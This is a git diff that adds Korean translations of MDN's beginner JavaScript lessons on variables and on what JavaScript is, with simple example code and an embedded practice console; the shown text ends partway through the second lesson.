+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">앞선 두 수업을 듣고, 자바스크립트에 대해(웹 기술에서 어떻게 사용되는지, 큰 범위에서의 특징) 알아보았다. 이번 수업에서는 기본중에 기본인 자바스크립트의 주된 구성중 하나인 변수가 어떻게 이루어져 있는지 알아볼 것이다.</p>
+
+<table class="learn-box">
+ <tbody>
+  <tr>
+   <th scope="row">알아야 할 것</th>
+   <td>기본적인 컴퓨터 지식, 기본적인 HTML, CSS, JS의 이해</td>
+  </tr>
+  <tr>
+   <th scope="row">목표</th>
+   <td>자바스크립트 변수에 대해 익혀보기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="필요한_툴">필요한 툴</h2>
+
+<p>이번 수업에서 컨텐츠에 대한 이해도를 테스트하고자, 코드를 입력하라는 요청을 받게 될 것이다. 만약 데스크탑 브라우저를 사용한다면, 코드를 실행하기 가장 좋은 프로그램은 브라우저의 자바스크립트 콘솔창일 것이다.(도구의 사용법에 대해 알고자 한다면 <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools</a> 를 참고하자)</p>
+
+<h2 id="변수란">변수란?</h2>
+
+<p>변수란, 숫자(합계나 계산에 사용되는) 또는 문자열(문장의 일부로 사용되는)과 같은 값의 컨테이너입니다. 그러나 변수에 대한 한 가지 특별한 점은 포함된 값이 변경될 수 있다는 것입니다. 간단한 예를 살펴 보겠습니다:</p>
+
+<pre class="brush: html">&lt;button&gt;Press me&lt;/button&gt;</pre>
+
+<pre class="brush: js">const button = document.querySelector('button');
+
+button.onclick = function() {
+  let name = prompt('What is your name?');
+  alert('Hello ' + name + ', nice to see you!');
+}</pre>
+
+<p>{{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>이 예제에서 버튼을 누르면 몇 줄의 코드가 실행됩니다. 첫 번째 줄은 독자가 이름을 입력하도록 요청한 화면에 상자를 띄운 다음, 변수에 값을 저장합니다. 두 번째 줄은 변수 값에서 가져온, 이름이 포함된 환영 메시지가 표시됩니다. </p>
+
+<p>왜 변수가 유용한 지 이해하려면, 변수를 사용하지 않고 이 예제를 작성하는 방법에 대해 생각해 봅시다. 그러면 아마 이런 식으로 끝날 것입니다 :</p>
+
+<pre class="example-bad">let name = prompt('What is your name?');
+
+if (name === 'Adam') {
+  alert('Hello Adam, nice to see you!');
+} else if (name === 'Alan') {
+  alert('Hello Alan, nice to see you!');
+} else if (name === 'Bella') {
+  alert('Hello Bella, nice to see you!');
+} else if (name === 'Bianca') {
+  alert('Hello Bianca, nice to see you!');
+} else if (name === 'Chris') {
+  alert('Hello Chris, nice to see you!');
+}
+
+// ... and so on ...</pre>
+
+<p>우리가 사용하고있는 구문을 완전히 이해하지는 못했지만, 아이디어를 얻을 수 있어야 합니다-변수를 사용할 수 없다면, 입력된 이름을 검사하는 거대한 코드 블록을 구현해야합니다. 그런 다음 해당 이름에 대한 각각의 메시지를 출력해야 합니다. 이것은 분명히 비효율적입니다 (코드는 네 가지 선택만으로도 훨씬 더 커집니다). 그리고 가능한 모든 선택 사항(모든 이름들)을 저장할 수 없어 작동하지 않을 수도 있습니다. </p>
+
+<p>변수는 이해하기 쉽습니다. 자바 스크립트에 대해 더 많이 배우면, 변수들은 자연스럽게 느껴질 것입니다. </p>
+
+<p>변수에 대한 또 다른 특별한 점은 문자열과 숫자뿐 아니라 무엇이든 포함 할 수 있다는 것입니다. 변수에는 복잡한 데이터와 놀랄만 한 기능을 수행하는 함수(Function)까지 포함될 수 있습니다. 당신은 이것에 대해 점점 더 많이 배울 것입니다. <br>
+ <br>
+ 변수는 값을 포함하고 있습니다. 이것은 중요한 차이점입니다. 변수는 값 자체가 아닙니다. 변수는 값을 위한 컨테이너입니다. 당신은 변수란 물건들을 저장할 수있는 작은 골판지 상자와 같다고 생각할 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13506/boxes.png" style="display: block; height: 436px; margin: 0px auto; width: 1052px;"></p>
+
+<h2 id="변수의_선언">변수의 선언</h2>
+
+<p>변수를 사용하기 위해서, 먼저 변수를 선언해야 합니다 - 보다 정확히는, 변수를 선언한다고 부른다. 이를 위해 키워드 var를 입력하고, 당신이 원하는 변수 이름을 입력합니다.</p>
+
+<pre class="brush: js">var myName;
+var myAge;</pre>
+
+<p>여기서 우리는 myName과 myAge라는 두 개의 변수를 생성합니다. 웹 브라우저의 콘솔 또는 아래 콘솔에서 두행을 입력해 보십시오 (원하는 경우, <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">콘솔</a>을 별도의 탭이나 창에서 열 수 있음). 그 후, 자신이 명명한 변수를 만들어 보십시오.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;JavaScript console&lt;/title&gt;
+    &lt;style&gt;
+      * {
+        box-sizing: border-box;
+      }
+
+      html {
+        background-color: #0C323D;
+        color: #809089;
+        font-family: monospace;
+      }
+
+      body {
+        max-width: 700px;
+      }
+
+      p {
+        margin: 0;
+        width: 1%;
+        padding: 0 1%;
+        font-size: 16px;
+        line-height: 1.5;
+        float: left;
+      }
+
+      .input p {
+        margin-right: 1%;
+      }
+
+      .output p {
+        width: 100%;
+      }
+
+      .input input {
+        width: 96%;
+        float: left;
+        border: none;
+        font-size: 16px;
+        line-height: 1.5;
+        font-family: monospace;
+        padding: 0;
+        background: #0C323D;
+        color: #809089;
+      }
+
+      div {
+        clear: both;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+
+  &lt;/body&gt;
+
+  &lt;script&gt;
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement('div');
+      var inputPara = document.createElement('p');
+      var inputForm = document.createElement('input');
+
+      inputDiv.setAttribute('class','input');
+      inputPara.textContent = '&gt;';
+      inputDiv.appendChild(inputPara);
+      inputDiv.appendChild(inputForm);
+      document.body.appendChild(inputDiv);
+
+      inputForm.addEventListener('change', executeCode);
+    }
+
+    function executeCode(e) {
+      try {
+        var result = geval(e.target.value);
+      } catch(e) {
+        var result = 'error — ' + e.message;
+      }
+
+      var outputDiv = document.createElement('div');
+      var outputPara = document.createElement('p');
+
+      outputDiv.setAttribute('class','output');
+      outputPara.textContent = 'Result: ' + result;
+      outputDiv.appendChild(outputPara);
+      document.body.appendChild(outputDiv);
+
+      e.target.disabled = true;
+      e.target.parentNode.style.opacity = '0.5';
+
+      createInput()
+    }
+
+    createInput();
+
+  &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: JavaScript에서는 모든 코드 명령어가 세미콜론 (;)으로 끝나야합니다. 코드를 한 줄로 작성해도 올바르게 작동할 지라도, 여러 줄의 코드를 함께 작성하는 경우에는 그렇지 않습니다. 그것을 포함시키는 습관을 갖도록 노력하십시오.</p>
+</div>
+
+<p>변수 이름을 입력하여 변수의 값이 실행 환경에 존재하는지 테스트 할 수 있습니다.</p>
+
+<pre class="brush: js">myName;
+myAge;</pre>
+
+<p>이 변수들은 값을 포함하고 있지 않은 빈 컨테이너 입니다. 변수 이름만 입력 할 경우 <code>undefined</code> 값을 반환하며 변수는 이 값(<code>undefined)</code>을 포함하게 됩니다. 만약 존재하지 않는(선언되지 않은) 변수는, 오류 메시지가 표시됩니다. 아래 변수를 입력하여 확인해 보세요.</p>
+
+<pre class="brush: js">scoobyDoo;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 존재하지만 값을 포함하고 있지 않은 변수와, 존재하지 않은 변수를 혼돈하지 마십시오. 둘은 매우 다른 것들입니다.</p>
+</div>
+
+<h2 id="변수의_초기화">변수의 초기화</h2>
+
+<p>변수를 선언한 후에는 값으로 초기화 할 수 있습니다. 변수 이름 다음에 등호(<code>=</code>)와 그 뒤에 부여 할 값을 입력하여 이 작업을 수행 할 수 있습니다.</p>
+
+<pre class="brush: js">myName = 'Chris';
+myAge = 37;</pre>
+
+<p>콘솔로 돌아가 코드들을 입력해 보세요. 각각의 경우 변수에 할당한 값은 콘솔을 통해 반환되어 확인 할 수 있습니다. 또한 단순히 변수 이름을 입력하여 변수 값을 반환 할 수 있습니다. 한번 해보세요.</p>
+
+<pre class="brush: js">myName;
+myAge;</pre>
+
+<p>다음과 같이 변수를 선언하고 동시에 초기화 할 수 있습니다.</p>
+
+<pre class="brush: js">var myName = 'Chris';</pre>
+
+<p>아마도 변수의 선언과 초기화를 두줄로 나누어 하는것 보다 더 빠르기 때문에 대부분 이러한 방식을 자주 사용 하게 될 겁니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 여러 줄 문자열로 JavaScript 프로그램을 작성할 때(write a multiline JavaScript), 변수를 선언하기 전에 해당 변수의 값을 초기화 할 수 있습니다. 이것이 가능한 이유는 JavaScript 에서 일반적으로 변수 선언문이 다른 코드 보다 먼저 실행되기 때문인데, 이 동작을 <strong>호이스팅</strong>이라고 합니다. 자세한 내용은 <a href="/ko/docs/Web/JavaScript/Reference/Statements/var#var_호이스팅(hoisting)">var 호이스팅</a> 문서를 참고하세요.</p>
+</div>
+
+<h2 id="변수의_재지정">변수의 재지정</h2>
+
+<p>변수에 값이 할당되면 다른 값을 지정하여 해당 값을 업데이트 할 수 있습니다. 콘솔에 다음 행을 입력해 보세요.</p>
+
+<pre class="brush: js">myName = 'Bob';
+myAge = 40;</pre>
+
+<h3 id="변수_이름에_대한_규칙">변수 이름에 대한 규칙</h3>
+
+<p>변수를 원하는 대로 이름을 부여 할 수 있지만 제한이 있습니다. 일반적으로 라틴 문자(0-9, a-z, A-Z)와 밑줄 문자를 사용해야 합니다.</p>
+
+<ul>
+ <li>오류가 발생하거나 전 세계 타인이 이해하기 어려울 수 있으므로 다른 문자를 사용하면 안됩니다.</li>
+ <li>변수 이름의 시작부분에 밑줄(_)을 사용하지 마세요. JavaScript 구문에서 밑줄로 시작하는 것은 특별한 의미를 가지고 있으므로 혼란을 가져올수 있습니다.</li>
+ <li>변수 이름의 시작부분에 숫자를 사용하지 마세요. 허용되지 않으며 오류가 발생합니다.</li>
+ <li>안전한 명명법은 소위 <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"lower camel case"</a>(소문자 낙타 문법) 입니다. 여러 단어를 하나로 묶고 첫 단어의 시작은 소문자를 사용하며 그다음 단어의 시작은 대문자로 사용합니다. 우리는 지금까지 이 문서에서 변수 이름에 이 방법을 사용해 왔습니다.</li>
+ <li>포함된 데이터를 쉽게 이해 할 수 있게 변수 이름을 직관적으로 부여 합니다. 단일 문자 / 숫자 또는 긴 구절을 사용하지 마세요.변수 이름을 직관적으로 만들어, 포함된 데이터를 표현 할 수 있습니다. </li>
+ <li>변수는 대소문자를 구분 합니다. - <code>myage</code> 와 <code>myAge</code>  는 다른 변수 입니다.</li>
+ <li>마지막으로 JavaScript 예약어를 변수 이름으로 사용하면 안됩니다. (예약어란 JavaScript의 실제 구문을 구성하는 단어를 의미 합니다.) 따라서 변수 이름으로  <code>var</code>, <code>function</code>, <code>let</code>, <code>for</code> 와 같은 단어를 사용 할 수 없습니다. 브라우저는 이러한 단어를 다른 코드 아이템(예약어)로 인식하므로 오류가 발생 합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 다음 <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">Lexical grammar — keywords</a> 링크에서 예약어의 목록을 확인 할 수 있습니다.</p>
+</div>
+
+<p>바람직한 변수 이름의 예:</p>
+
+<pre class="example-good">age
+myAge
+init
+initialColor
+finalOutputValue
+audio1
+audio2</pre>
+
+<p>바람직하지 않은 변수 이름의 예:</p>
+
+<pre class="example-bad">1
+a
+_12
+myage
+MYAGE
+var
+Document
+skjfndskjfnbdskjfb
+thisisareallylongstupidvariablenameman</pre>
+
+<p>위의 지침을 염두에 두고 몇가지 변수를 추가로 작성해 보세요.</p>
+
+<h2 id="변수의_종류">변수의 종류</h2>
+
+<p>변수에 저장할 수 있는 몇가지 유형의 데이터(데이터 유형)가 있습니다. 이 섹션에서는 이를 간단히 설명하고 이후 자세히 살펴보겠습니다.</p>
+
+<p>지금까지 우린 두가지 형태의 데이터 유형을 살펴 봤지만 다른 유형들도 있습니다.</p>
+
+<h3 id="숫자">숫자</h3>
+
+<p>30과 같은 숫자 (정수라고도 함) 나  2.456(부동소수점 또는 부동 소수점 숫자라고도 함) 같은 십진수 숫자를 변수에 저장할 수 있습니다. JavaScript는 일부 프로그래밍 언어처럼 숫자 유형에 따른 다른 데이터 유형을 가지고 있지 않습니다. 변수에 숫자 값 대입할 때, 따옴표 사용하지 않습니다.</p>
+
+<pre class="brush: js">var myAge = 17;</pre>
+
+<h3 id="문자열">문자열</h3>
+
+<p>문자열은 텍스트의 조각입니다. 변수에 문자열 값을 대입할 때, 작은따옴표(')나 큰따옴표(")로 묶어야 합니다. 그렇지 않으면 JavaScript는 다른 변수 이름으로 해석하게 됩니다.</p>
+
+<pre class="brush: js">var dolphinGoodbye = 'So long and thanks for all the fish';</pre>
+
+<h3 id="불리언Booleans">불리언(Booleans)</h3>
+
+<p>불리언(Booleans)은 <code>true</code> 이나  <code>false</code> 라는 값을 가지는 참/거짓을 표현하는 데이터 유형입니다. 일반적으로 조건을 테스트하는 데 사용되며 그 다음 코드가  조건에 따라 실행됩니다. 예를 들어 다음과 같습니다.</p>
+
+<pre class="brush: js">var iAmAlive = true;</pre>
+
+<p>일반적으로 다음과 같은 방식으로 더 많이 사용됩니다.</p>
+
+<pre class="brush: js">var test = 6 &lt; 3;</pre>
+
+<p>위의 코드는 "작다" 연산자(<code>&lt;</code>) 를 사용하여 6이 3보다 작은지를 확인 합니다. 예상 한대로 6이 3보다 작지 않으므로<code>false</code> 를 반환 합니다! 나중에 이러한 연산자에 대해 더 많이 배우게 됩니다.</p>
+
+<h3 id="배열">배열</h3>
+
+<p>배열은 대괄호로 묶이고 쉼표로 구분 된 여러 값을 포함하는 단일 객체입니다. 다음 코드를 콘솔에 입력해 보세요.</p>
+
+<pre class="brush: js">var myNameArray = ['Chris', 'Bob', 'Jim'];
+var myNumberArray = [10,15,40];</pre>
+
+<p>이러한 배열이 정의되면 다음과 같은 구문을 사용하여 개별 값에 접근 할 수 있습니다. 다음 코드를 입력해 보세요.</p>
+
+<pre class="brush: js">myNameArray[0]; // should return 'Chris'
+myNumberArray[2]; // should return 40</pre>
+
+<p>대괄호에는 반환할 값의 위치를 지정하는 인덱스 값이 들어 있습니다. 컴퓨터는 우리 사람처럼 1대신 0부터 숫자를 센다는 것을 알 수 있습니다.</p>
+
+<p>앞으로 배열에 대해 더 많이 배우게 됩니다.</p>
+
+<h3 id="객체">객체</h3>
+
+<p>프로그래밍에서 객체(Objects)는 실제 사물(real life object)을 모델링 하는 코드 구조입니다. 예를들어 주차장 객체는 주차장의 높이와 넓이 정보를 가지고 표현 할 수 있으며, 사람 객체는 이름, 키, 몸무게, 사용하는 언어등의 정보를 가지고 표현 할 수 있습니다.</p>
+
+<p>콘솔에 다음 코드를 입력해 보세요.</p>
+
+<pre class="brush: js">var dog = { name : 'Spot', breed : 'Dalmatian' };</pre>
+
+<p>객체에 저장된 정보를 검색하기 위해서는 아래 구문을 사용합니다.</p>
+
+<pre class="brush: js">dog.name</pre>
+
+<p>지금은 객체에 대해 더 자세하게 보지 않을 것입니다. - 앞으로 모듈에 있는 객체에 대해 더 많이 배울 수 있습니다.</p>
+
+<h2 id="지정되지_않은_타입">지정되지 않은 타입</h2>
+
+<p>JavaScript는 "느슨한 유형의 언어(loosely typed language)" 입니다. 즉, 다른 언어와 달리 변수에 포함 할 데이터의 유형을 지정할 필요가 없습니다.(예: 숫자? 문자열?)</p>
+
+<p>예를 들어, 변수를 선언하고 그 변수의 값을 따옴표로 묶은 값을 지정하면 브라우저는 변수의 값을 문자열로 인식합니다.</p>
+
+<pre class="brush: js">var myString = 'Hello';</pre>
+
+<p>따옴표 안에 숫자가 포함되어 있어도 여전히 문자열로 인식되므로 주의해야 합니다:</p>
+
+<pre class="brush: js">var myNumber = '500'; // oops, this is still a string
+typeof(myNumber);
+myNumber = 500; // much better — now this is a number
+typeof(myNumber)</pre>
+
+<p>위의 네 줄의 코드를 하나씩 콘솔에 입력하여 결과가 무엇인지 확인해 보세요.(주석은 입력하지 마세요.) 여기에서 <code>typeof()</code> 라는 특수 함수를 사용하고 있음을 알 수 있습니다. - 이 함수는 입력한 변수의 데이터 유형을 반환합니다. 위의 코드에서 처음으로 호출될 때, <code>myNumber</code> 변수에는 <code>'500'</code> 라는 문자열이 포함되어 있으므로  <code>string</code> 을 반환해야 합니다. 두 번째는 어떤 값을 반환하는지 확인해 보세요.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>지금까지 JavaScript의 변수란 무엇이며, 어떻게 생성하는지 알아보았습니다. 다음에는 JavaScript에서 숫자에 관해 자세히 살펴보고 기본 계산하는 방법을 알아보겠습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Maths", "Learn/JavaScript/First_steps")}}</p>
diff --git a/files/ko/learn/javascript/first_steps/what_is_javascript/index.html b/files/ko/learn/javascript/first_steps/what_is_javascript/index.html
new file mode 100644
index 0000000000..e9198dd1d3
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/what_is_javascript/index.html
@@ -0,0 +1,423 @@
+---
+title: JavaScript가 뭔가요?
+slug: Learn/JavaScript/First_steps/What_is_JavaScript
+tags:
+  - Article
+  - Beginner
+  - CodingScripting
+  - Guide
+  - JavaScript
+  - Learn
+  - Script
+translation_of: Learn/JavaScript/First_steps/What_is_JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">MDN의 JavaScript 초급자 과정에 오신 걸 환영합니다! 이 글은 JavaScript를 넓게 보면서 "뭔가요?", "뭘 하나요?"와 같은 질문을 답변하고, 여러분이 JavaScript에 친숙해지도록 도와드립니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제 조건:</th>
+   <td>
+    <p>기본적인 컴퓨터 능력, HTML과 CSS 기초.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>JavaScript가 뭔지, 어떤 일을 할 수 있는 지, 웹사이트에 어떻게 적용하는지 알기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="둘러보기">둘러보기</h2>
+
+<p>자바스크립트는 복잡한 무언가(주기적으로 내용이 갱신되는 기능이나 능동적인 지도, 변화하는 2D/3D 그래픽, 동영상 등)를 웹페이지에 적용할 수 있게 하는 스크립트 혹은 프로그래밍 언어입입니다. 자바스크립트는 표준 웹 기술이라는 레이어 케이크에서 세번째 층이라고 볼 수 있습니다. 다른 두 층(HTML과 CSS)에 대한 보다 자세한 정보는 학습 영역의 다른 부분에서 찾아 볼 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13502/cake.png" style="display: block; margin: 0 auto;"></p>
+
+<ul>
+ <li>{{glossary("HTML")}}은 제공할 웹 컨텐츠의 구조와 의미를 문단, 제목, 표, 삽입 이미지, 동영상 등으로 정의하고 부여하는 마크업 언어입니다.</li>
+ <li>{{glossary("CSS")}}는 배경색, 폰트 등의 레이아웃등을 지정하여 HTML 컨텐츠를 꾸며주는 스타일 규칙 언어입니다.</li>
+ <li>{{glossary("JavaScript")}}는 동적으로 컨텐츠를 바꾸고, 멀티미디어를 다루고, 움직이는 이미지 그리고 꽤나 많은 다른 일(물론, 전부는 아니지만 몇 줄만의 자바스크립트 코드로 얻는 결과는 놀라울겁니다.)들을 할 수 있는 스크립트 언어입니다.</li>
+</ul>
+
+<p>3개의 요소들은 각각 유기적으로 잘 구성되어 있습니다. 예제와 같이 간단한 폼을 만들어 봅시다. HTML을 사용하여 그 구조와 목적에 맞게 마크업 할 수 있습니다: </p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Player 1: Chris&lt;/p&gt;</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13422/just-html.png" style="height: 28px; width: 108px;"></p>
+
+<p>그리고 CSS를 추가하여 이쁘게 꾸밀 수도 있습니다:</p>
+
+<pre class="brush: css notranslate">p {
+  font-family: 'helvetica neue', helvetica, sans-serif;
+  letter-spacing: 1px;
+  text-transform: uppercase;
+  text-align: center;
+  border: 2px solid rgba(0,0,200,0.6);
+  background: rgba(0,0,200,0.3);
+  color: rgba(0,0,200,0.6);
+  box-shadow: 1px 1px 2px rgba(0,0,200,0.4);
+  border-radius: 10px;
+  padding: 3px 10px;
+  display: inline-block;
+  cursor:pointer;
+}</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13424/html-and-css.png" style="height: 48px; width: 187px;"></p>
+
+<p>그러고 마지막으로 약간의 자바스크립트로 동적인 기능을 추가할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">const para = document.querySelector('p');
+
+para.addEventListener('click', updateName);
+
+function updateName() {
+  let name = prompt('Enter a new name');
+  para.textContent = 'Player 1: ' + name;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_high-level_definition', '100%', 80, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>마지막 버전의 텍스트 라벨을 클릭하여 어떻게 되는 지 확인해봅시다. (이 데모는 Github에서도 볼 수 있습니다. <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">source code</a> 나 <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">run it live</a>를 참고해보세요!)</p>
+
+<p>자바스크립트는 보다 더 많은 일들을 할 수 있습니다. 이제 더 자세한 내용을 살펴봅시다!</p>
+
+<h2 id="그래서_진짜_어떤_일을_할_수_있나요">그래서, 진짜 어떤 일을 할 수 있나요?</h2>
+
+<p>자바스크립트 언어의 핵심은 다음과 같은 일들을 할 수 있게하는 프로그래밍 기능들로 구성되어 있습니다:</p>
+
+<ul>
+ <li>변수안에 값을 저장할 수 있습니다. 위의 예시를 보면, 작성된 새로운 이름을 <code>name</code>이라는 변수에 저장하였습니다.</li>
+ <li>프로그밍에서 '문자열(strings)'이라고 불리는 문자들도 조작 가능합니다. 위 예시에 보면 "Player 1:"이라는 문자열을 <code>name</code>이라고 만든 변수와 겹합하여 "Player 1: Chris"라는 글을 완성할 수 있었습니다.</li>
+ <li>웹 페이지상의 이벤트에 응답하는 코드를 작성할 수 있습니다. 예제에서 사용한 {{Event("click")}} 이벤트를 통해 요소가 언제 클릭되고, 텍스트 라벨을 업데이트 시킬지 정정의하였습니다.</li>
+ <li>그리고 더 많은 것들!</li>
+</ul>
+
+<p>하지만 더욱 흥미진진한 것은 코어 자바스크립트 언어(<em>core JavaScript</em> language) 기반의 기능성입니다. 소위 <strong>Application Programming Interfaces</strong> (<strong>APIs</strong>) 라는 것은 여러분의 자바스크립트 코드에 사용할 수 있는 추가적인 강력한 마법들을 제공합니다. </p>
+
+<p>API는 이미 만들어진 코드의 집합체라고 볼 수 있으며, 개발자들이 만들기 어렵고 힘든 부분을 쉽게 구현하도록 하는 프로그램이라고 볼 수 있습니다. 마치 집에서 가구를 만들 때 직접 디자인하고, 재료를 구하고, 재단하고, 못을 박고 하는 등 혼자서 모든 것을 하는 대신 가구 만들기 키트를 사는 것과 같다고 보면 됩니다.</p>
+
+<p>일반적으로 두 종류로 구분됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13508/browser.png" style="display: block; height: 511px; margin: 0px auto; width: 815px;"></p>
+
+<p><strong>Browser API</strong>는 웹 브라우저에 설치된 API들로, 컴퓨터 환경구성으로 부터 데이터를 보이게 하고 복잡한 일들을 하게 합니다. 예를 들어:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model">DOM (Document Object Model) API</a> 는 동적으로 페이지의 스타일을 정하는 등 HTML과 CSS를 알맞게 조정하는 역할을 합니다. 우리가 매일 보는 팝업창이나, 위의 사진과 같이 컨텐츠들이 보여지는 것들이 모두 DOM의 결과라고 볼 수 있습니다.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Geolocation">Geolocation API</a>은 지리적인 정보를 검색하게 해줍니다. 이는 <a href="https://www.google.com/maps">Google Maps</a>이 어떻게 위치를 찾고 지도에 표시하는지 알 수 있게 합니다.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">Canvas</a> 와 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API">WebGL</a> API는 2D와 3D 그래픽을 만들 수 있도록 합니다. 이러한 웹 기술을 사용하여 다양하고 재미있는 것들을 지원합니다. —<a href="https://www.chromeexperiments.com/webgl">Chrome Experiments</a> 와 <a href="http://webglsamples.org/">webglsamples</a>을 참조해보세요.</li>
+ <li>HTMLMediaElement 와 <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 같은 <a href="https://developer.mozilla.org/en-US/Apps/Fundamentals/Audio_and_video_delivery">Audio and Video API</a>는 음악과 비디오를 웹 페이지 상에서 재생하고, 웹캠으로 캡처하고 다른 컴퓨터에 표시하는 등의 멀티미디어를 활용할 수 있는 재미있는 기술을 지원합니다. (<a href="http://chrisdavidmills.github.io/snapshot/">Snapshot demo</a>를 한번 참조해보세요.)</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 대부분의 데모 코드들은 오래된 브라우저에서는 실행이 안될 수 있으니, FireFox, Chrome, Edge, Opera와 같은 최신의 브라우저를 사용하는 것을 추천합니다.  실제 배포가 되는 코드처럼 여러 사용자가 사용할 수 있음을 고려하여 <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">cross browser testing</a>(여러 브라우저를 이용하여 테스트)를 해보는 것이 좋습니다.</p>
+</div>
+
+<p><strong>Third party API</strong> 는 브라우저에 기본적으로 설치된 API가 아닌 인터넷에서 개인적으로 정보와 코드를 얻어 프로그래밍한 것을 말합니다. 예를 들어:</p>
+
+<ul>
+ <li><a href="https://dev.twitter.com/overview/documentation">Twitter API</a>는 웹사이트에 가장 최근의 트윗을 보여주도록 합니다.</li>
+ <li><a href="https://developers.google.com/maps/">Google Maps API</a>와  <a href="https://wiki.openstreetmap.org/wiki/API">OpenStreetMap API</a>는 웹사이트에 원하는 지도를 넣어주고 추가기능을 지원합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 이러한 API 들은 고급 과정이며, 이 과정에서는 다루지 않을 것입니다. 이 API들에 대한 보다 자세한 정보는 <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs module</a>에서 살펴보세요.</p>
+</div>
+
+<p>물론 이것말고도 엄청나게 다양한 API들이 존재합니다!  하지만, 이 수업을 듣고 Facebook, Google Maps, Instagram등을 만들 수는 없으니 흥분하지는 말길 바랍니다. 이것보다 우리는 먼저 기본적인 것에 대해 배울 것이고 이것이 곧 이 수업을 진행하는 목적입니다. 자 시작해봅시다!</p>
+
+<h2 id="웹_페이지에서_JavaScript는_어떤_일을_하나요">웹 페이지에서 JavaScript는 어떤 일을 하나요?</h2>
+
+<p>여기서 몇가지 코드를 실제로 살펴보고, 페이지에서 자바스크립트가 언제 어떻게 작동하는지 알아 볼 것입니다.</p>
+
+<p>브라우저에서 웹페이지를 불러올 때 어떤 일이 발생하는지 생각해봅시다(먼저 <a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">How CSS works</a>를 읽어 보세요.). 브라우저에서 웹페이지를 불러올 때, 실행 환경(브라우저 탭)안에서 HTML, CSS, Javascript 코드가 실행됩니다. 이는 마치 공장에서 원재료(코드)가 일련의 과정을 거쳐 제품(웹페이지)으로 탄생되는 것과 같습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13504/execution.png" style="display: block; margin: 0 auto;"></p>
+
+<p>자바스크립트는 HTML과 CSS가 결합되고 웹페이지 상에서 올려진 후, 브라우저의 자바스크립트 엔진에 의해 실행됩니다. 이는 페이지의 구조와 스타일등을 정해놓고, 자바스크립트가 실행된다는 것과 같은 의미입니다.</p>
+
+<p>동적으로 사용자 인터페이스를 업데이트하는 자바스크립트의 사용은 Document Object Model API를 통해 HTML과 CSS를 수정하는 것으로 좋은 현상입니다. 만약 자바 스크립트가 HTML과 CSS 전에 실행되었다면 문제가 분명 발생할 것입니다.</p>
+
+<h3 id="브라우저_보안성">브라우저 보안성</h3>
+
+<p>각각의 브라우저 탭들은 코드가 실행되는 개별적인 구성(이러한 것은 "실행 환경"이라고 지칭한다)입니다. 이는 각 탭의 대부분의 경우는 완전히 독립적이고, 하나의 탭의 코드는 다른 탭이나 웹사이트에 직접적으로 영향을 줄 수 없다는 의미입니다 . 이는 보안성에 좋은 방법입니다. 만약 이러한 부분이 없다면, 해커들이 다른 웹사이트로 부터 정보를 가로채는 등 악랄한 짓들을 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 물론 코드나 정보를 동떨어진 웹사이트나 탭으로 전송할 수 있는 안전한 방식이 존재합니다. 하지만 지금 과정과는 거리가 멀기 때문에 여기서는 다루지 않도록 하겠습니다.</p>
+</div>
+
